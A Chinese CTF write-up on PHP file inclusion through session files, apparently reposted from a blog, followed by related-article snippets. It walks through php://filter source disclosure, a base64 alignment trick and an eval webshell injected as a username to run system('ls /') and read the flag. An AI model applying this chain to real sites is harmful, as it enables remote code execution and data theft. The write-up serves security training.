PHP文件包含 Session

首先了解一下PHP文件包含漏洞----包含session

利用条件:session文件路径已知,且其中内容部分可控。

姿势:

php的session文件的保存路径可以在phpinfo的session.save_path看到。

常见的php-session存放位置:

  1. /var/lib/php/sess_PHPSESSID
  2. /var/lib/php/sess_PHPSESSID
  3. /tmp/sess_PHPSESSID
  4. /tmp/sessions/sess_PHPSESSID

session 的文件名格式为 sess_[phpsessid]。而 phpsessid 在发送的请求的 cookie 字段中可以看到。

要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。

题目:

  1. http://54.222.188.152:22589/

解题思路:

php伪协议读取源码

点击login,发现链接变为:

  1. http://54.222.188.152:22589/index.php
  2. ?action=login.php

首先读取 login.php 的源码

  1. http://54.222.188.152:22589/index.php
  2. ?action=php://filter/read=convert.base64-encode/resource=login.php

得到login.php源码:

  1. <?php
  2. require_once('config.php');
  3. session_start();
  4. if($_SESSION['username']) {
  5. header('Location: index.php');
  6. exit;
  7. }
  8. if($_POST['username'] && $_POST['password']) {
  9. $username = $_POST['username'];
  10. $password = md5($_POST['password']);
  11. $mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
  12. if ($mysqli->connect_errno) {
  13. die("could not connect to the database:\n" . $mysqli->connect_error);
  14. }
  15. $sql = "select password from user where username=?";
  16. $stmt = $mysqli->prepare($sql);
  17. $stmt->bind_param("s", $username);
  18. $stmt->bind_result($res_password);
  19. $stmt->execute();
  20. $stmt->fetch();
  21. if ($res_password == $password) {
  22. $_SESSION['username'] = base64_encode($username);
  23. header("location:index.php");
  24. } else {
  25. die("Invalid user name or password");
  26. }
  27. $stmt->close();
  28. $mysqli->close();
  29. }
  30. else {
  31. ?>
  32. <!DOCTYPE html>
  33. <html>
  34. <head>
  35. <title>Login</title>
  36. <link href="static/bootstrap.min.css" rel="stylesheet">
  37. <script src="static/jquery.min.js"></script>
  38. <script src="static/bootstrap.min.js"></script>
  39. </head>
  40. <body>
  41. <div class="container" style="margin-top:100px">
  42. <form action="login.php" method="post" class="well" style="width:220px;margin:0px auto;">
  43. <h3>Login</h3>
  44. <label>Username:</label>
  45. <input type="text" name="username" style="height:30px"class="span3"/>
  46. <label>Password:</label>
  47. <input type="password" name="password" style="height:30px" class="span3">
  48. <button type="submit" class="btn btn-primary">LOGIN</button>
  49. </form>
  50. </div>
  51. </body>
  52. </html>
  53. <?php
  54. }
  55. ?>

读取 register.php 的源码

访问:

  1. http://54.222.188.152:22589/index.php
  2. ?action=php://filter/read=convert.base64-encode/resource=register.php

得到源码:

  1. <?php
  2. if ($_POST['username'] && $_POST['password']) {
  3. require_once('config.php');
  4. $username = $_POST['username'];
  5. $password = md5($_POST['password']);
  6. $mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
  7. if ($mysqli->connect_errno) {
  8. die("could not connect to the database:\n" . $mysqli->connect_error);
  9. }
  10. $mysqli->set_charset("utf8");
  11. $sql = "select * from user where username=?";
  12. $stmt = $mysqli->prepare($sql);
  13. $stmt->bind_param("s", $username);
  14. $stmt->bind_result($res_id, $res_username, $res_password);
  15. $stmt->execute();
  16. $stmt->store_result();
  17. $count = $stmt->num_rows();
  18. if($count) {
  19. die('User name Already Exists');
  20. } else {
  21. $sql = "insert into user(username, password) values(?,?)";
  22. $stmt = $mysqli->prepare($sql);
  23. $stmt->bind_param("ss", $username, $password);
  24. $stmt->execute();
  25. echo 'Register OK!<a href="index.php">Please Login</a>';
  26. }
  27. $stmt->close();
  28. $mysqli->close();
  29. } else {
  30. ?>
  31. <!DOCTYPE html>
  32. <html>
  33. <head>
  34. <title>Login</title>
  35. <link href="static/bootstrap.min.css" rel="stylesheet">
  36. <script src="static/jquery.min.js"></script>
  37. <script src="static/bootstrap.min.js"></script>
  38. </head>
  39. <body>
  40. <div class="container" style="margin-top:100px">
  41. <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
  42. <h3>Register</h3>
  43. <label>Username:</label>
  44. <input type="text" name="username" style="height:30px"class="span3"/>
  45. <label>Password:</label>
  46. <input type="password" name="password" style="height:30px" class="span3">
  47. <button type="submit" class="btn btn-primary">REGISTER</button>
  48. </form>
  49. </div>
  50. </body>
  51. </html>
  52. <?php
  53. }
  54. ?>

读取 config.php 的源码

  1. http://54.222.188.152:22589/index.php
  2. ?action=php://filter/read=convert.base64-encode/resource=config.php

得到源码:

  1. <?php
  2. $dbhost = 'localhost';
  3. $dbuser = 'web';
  4. $dbpass = 'webpass123';
  5. $dbname = 'web';
  6. ?>

读取 index.php 的源码

  1. http://54.222.188.152:22589/index.php
  2. ?action=php://filter/read=convert.base64-encode/resource=index.php

源码:

  1. <?php
  2. error_reporting(0);
  3. session_start();
  4. if (isset($_GET['action'])) {
  5. include $_GET['action'];
  6. exit();
  7. } else {
  8. ?>
  9. <!DOCTYPE html>
  10. <html lang="en">
  11. <head>
  12. <meta charset="utf-8">
  13. <title>Login</title>
  14. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  15. <link href="css/bootstrap.css" rel="stylesheet" media="screen">
  16. <link href="css/main.css" rel="stylesheet" media="screen">
  17. </head>
  18. <body>
  19. <div class="container">
  20. <div class="form-signin">
  21. <?php if (isset($_SESSION['username'])) { ?>
  22. <?php echo "<div class=\"alert alert-success\">You have been <strong>successfully logged in</strong>.</div>
  23. <a href=\"index.php?action=logout.php\" class=\"btn btn-default btn-lg btn-block\">Logout</a>";}else{ ?>
  24. <?php echo "<div class=\"alert alert-warning\">Please Login.</div>
  25. <a href=\"index.php?action=login.php\" class=\"btn btn-default btn-lg btn-block\">Login</a>
  26. <a href=\"index.php?action=register.php\" class=\"btn btn-default btn-lg btn-block\">Register</a>";
  27. } ?>
  28. </div>
  29. </div>
  30. </body>
  31. </html>
  32. <?php
  33. }
  34. ?>

解题分析:

拿到了源码,首先进行简单的审计一下。

SQL注入?:

有登陆页面,不知道会不会有注入,简单看一下。

往往注册与登陆操作中会有与数据库交互的地方,这也是sql注入的常见引发点。

看一下register.php,这里仅截取部分代码:

  1. # register.php
  2. $mysqli->set_charset("utf8");
  3. $sql = "select * from user where username=?";
  4. $stmt = $mysqli->prepare($sql);
  5. $stmt->bind_param("s", $username);
  6. $stmt->bind_result($res_id, $res_username, $res_password);
  7. $stmt->execute();
  8. $stmt->store_result();

再看一下login.php:

  1. # login.php
  2. $sql = "select password from user where username=?";
  3. $stmt = $mysqli->prepare($sql);
  4. $stmt->bind_param("s", $username);
  5. $stmt->bind_result($res_password);
  6. $stmt->execute();
  7. $stmt->fetch();

这里都使用了PHP的PDO处理,因此这里存在sql注入的可能性很小。

session

接着再看看,有哪些参数是可控的。

在login.php中:

  1. # 第3行
  2. session_start();
  3. if($_SESSION['username']) {
  4. header('Location: index.php');
  5. exit;
  6. }
  7. # 第8行
  8. if($_POST['username'] && $_POST['password']) {
  9. $username = $_POST['username'];
  10. # 第20行
  11. $stmt->bind_result($res_password);
  12. # 第24行
  13. if ($res_password == $password) {
  14. $_SESSION['username'] = base64_encode($username);
  15. header("location:index.php");

这里使用了session来保存用户会话,php手册中是这样描述的:

  1. PHP 会将会话中的数据设置到 $_SESSION 变量中。
  2. 当 PHP 停止的时候,它会自动读取 $_SESSION 中的内容,并将其进行序列化,然后发送给会话保存管理器来进行保存。
  3. 对于文件会话保存管理器,会将会话数据保存到配置项 session.save_path 所指定的位置。

考虑到变量$username是我们可控的,并且被设置到了$_SESSION中,因此我们输入的数据未经过滤的就被写入到了对应的sessioin文件中。结合前面的php文件包含,可以推测这里可以包含session文件。

要包含session文件,需要知道文件的路径。先注册一个用户,比如chybeta。等登陆成功后。记录下cookie中的PHPSESSID的值,这里为udu8pr09fjvabtoip8icgurt85

访问:

  1. http://54.222.188.152:22589/index.php?action=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85

这个/var/lib/php5/的session文件路径是测试出来的,常见的也就是上面所述的几种。

base64_encode

能包含,并且控制session文件,但要写入可用的payload,还需要绕过:

  1. $_SESSION['username'] = base64_encode($username);

如前面所示,输入的用户名会被base64加密。如果直接用php伪协议来解密整个session文件,由于序列化的前缀,势必导致乱码。

考虑一下base64的编码过程。比如编码abc。

  1. 未编码: abc
  2. 转成ascii码: 97 98 99
  3. 转成对应二进制(三组,每组8位): 01100001 01100010 01100011
  4. 重分组(四组,每组6位): 011000 010110 001001 100011
  5. 每组高位补零,变为每组8位:00011000 00010110 00001001 00100011
  6. 每组对应转为十进制: 24 22 9 35
  7. 查表得: Y W J j

考虑一下session的前缀:username|s:12:",中间的数字12表示后面base64串的长度。当base64串的长度小于100时,前缀的长度固定为15个字符,当base64串的长度大于100小于1000时,前缀的长度固定为16个字符。

由于16个字符,恰好满足一下条件:

  1. 16个字符 => 16 * 6 = 96 => 96 mod 8 = 0

也就是说,当对session文件进行base64解密时,前16个字符固然被解密为乱码,但不会再影响从第17个字符后的部分也就是base64加密后的username。

Getflag

注册一个账号,比如:

  1. chybetachybetachybetachybetachybetachybetachybetachybetachybeta<?php eval($_GET['atebyhc']) ?>

其base64加密后的长度为128,大于100。

  1. http://54.222.188.152:22589/index.php
  2. ?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85
  3. &atebyhc=phpinfo();


成功getshell。

访问:

  1. http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=system('ls /');

访问:

  1. http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=system('cat /fffflllllaaaagggg.txt');

小结

考了几个知识点:

  1. php文件包含:伪协议利用
  2. php文件包含:包含session文件
  3. php-session知识及序列化格式
  4. base64的基本原理

原文链接(https://chybeta.github.io/2017/11/09/%E4%B8%80%E9%81%93CTF%E9%A2%98%EF%BC%9APHP%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/)

任重而道远!

CTF PHP文件包含--session的更多相关文章

  1. 实战经验丨CTF中文件包含的技巧总结

    站在巨人的肩头才会看见更远的世界,这是一篇技术牛人对CTF比赛中文件包含的内容总结,主要是对一些包含点的原理和特征进行归纳分析,并结合实际的例子来讲解如何绕过,全面细致,通俗易懂,掌握这个新技能定会让 ...

  2. CTF中文件包含的一些技巧

    i春秋作家:lem0n 原文来自:浅谈内存取证 0x00 前言 网络攻击内存化和网络犯罪隐遁化,使部分关键数字证据只存在于物理内存或暂存于页面交换文件中,这使得传统的基于文件系统的计算机取证不能有效应 ...

  3. CTF之文件包含的猥琐思路

    From: i春秋 百度杯”CTF 一: <?php include "flag.php"; //包含flag.php这个文件 $a = @$_REQUEST['hello' ...

  4. CTF 文件包含与伪协议

    正巧在写代码审计的文章,无意间看到了一篇CTF的代码审计,CTF题目很好,用的姿势正如标题,文件包含和伪协议. 先放出原文链接(http://www.freebuf.com/column/150028 ...

  5. “百度杯”CTF比赛 十二月场_blog(kindeditor编辑器遍历,insert注入,文件包含)

    题目在i春秋的ctf训练营中能找到 首先先是一个用户登录与注册界面,一般有注册界面的都是要先让你注册一波,然后找惊喜的 那我就顺着他的意思去注册一个号 注册了一个123用户登录进来看到有个文本编辑器, ...

  6. CTF 文件包含

    目录 一.基本概念 二.本地文件包含 三.远程文件包含 四.具体场景 五.补充 一.基本概念 文件包含 将相同函数写入单独的文件中,需要使用时直接调用 文件包含漏洞 将被包含的文件设置为变量,导致客户 ...

  7. 一道内部ctf文件包含题

    拿到题目 在burp里看下 拿到源码 很明显是一道文件包含题目,包含cookie里的值,于是构造Cookie:language=chinese试试   文件变成中文的了,说明中文语言进行了包含并替换 ...

  8. 百度杯”CTF比赛 2017 二月场 没错!就是文件包含漏洞。

    题目源码: 文件包含漏洞的话,看一下 你么可以使用php://input 伪协议,执行代码(参考了大佬WP)这里使用了POSTMAN, 目录下还有一个dle345aae.php文件,呢么用cat命令打 ...

  9. 【CTF WEB】文件包含

    文件包含 题目要求: 请找到题目中FLAG 漏洞源码 <meta charset='utf-8'> <center><h1>文件阅读器</h1>< ...

随机推荐

  1. shell command

    查看网卡流量报告  sar  -n  DEV  kill pid  ps  -ef  |grep xxx  |grep -v grep  |awk '{print $2}'   |xargs   ki ...

  2. 使用python比较两个文件的不同之处

    比较两个文件的不同之处用处还是比较大的,特别是比较两个版本的不同之处 [root@localhost python]# cat diftest.py #!/usr/bin/python import ...

  3. Java实现选择排序以及冒泡排序

    //排序 选择排序 数组中每个元素都进行比较 public class Test { public static void main(String[] args) { int[] arr = {12, ...

  4. Singer 学习十一 配置以及状态管理

    配置和状态文件通过提供身份验证信息,开始时间和有关以前调用的信息,帮助为Taps和Targets提供上下文 配置文件 配置文件包含tap 运行需要的信息,通常包含API,以及数据源的凭据 特殊字段 s ...

  5. Hasura GraphQL 内部表结构

    Hasura 使用pg 数据库存储引擎的元数据信息,在hdb_catalog schema 下面,是在初始化的时候生成的 对于表的管理.权限的信息存储都在这个schema下 hdb_table 这个表 ...

  6. Git安装和TortoiseGit详细使用教程【基础篇】

    标签:tortoisegit 环境:win8.1 64bit 安装准备: 首先你得安装windows下的git msysgit1.9.5 安装版本控制器客户端tortoisegit  tortoise ...

  7. linux之 awk

    简介awk是一个强大的文本分析工具,相对于grep的查找,sed的编辑,awk在其对数据分析并生成报告时,显得尤为强大.简单来说awk就是把文件逐行的读入,以空格为默认分隔符将每行切片,切开的部分再进 ...

  8. react 学习资料

    react 学习资料 项目 学习资料 react 中文版:https://doc.react-china.org/ react-router https://reacttraining.com/rea ...

  9. 配置中心Server端

    为什么需要统一配置中心 1.不方便维护.一个功能被多个人开发,如果其中一个人修改了配置文件,另外一个人测试之前的功能,准备使用之前的配置. 2.配置内容安全与权限.线上的配置是不会对开发公开,特别是数 ...

  10. Go thrift使用举例

    thrift 最初是 facebook 开发使用的 rpc 通信框架,后来贡献给了 apache 基金会,出来得比较早,几乎支持所有的后端语言,使用非常广泛,是不可不知的一个网络框架. 和 grpc ...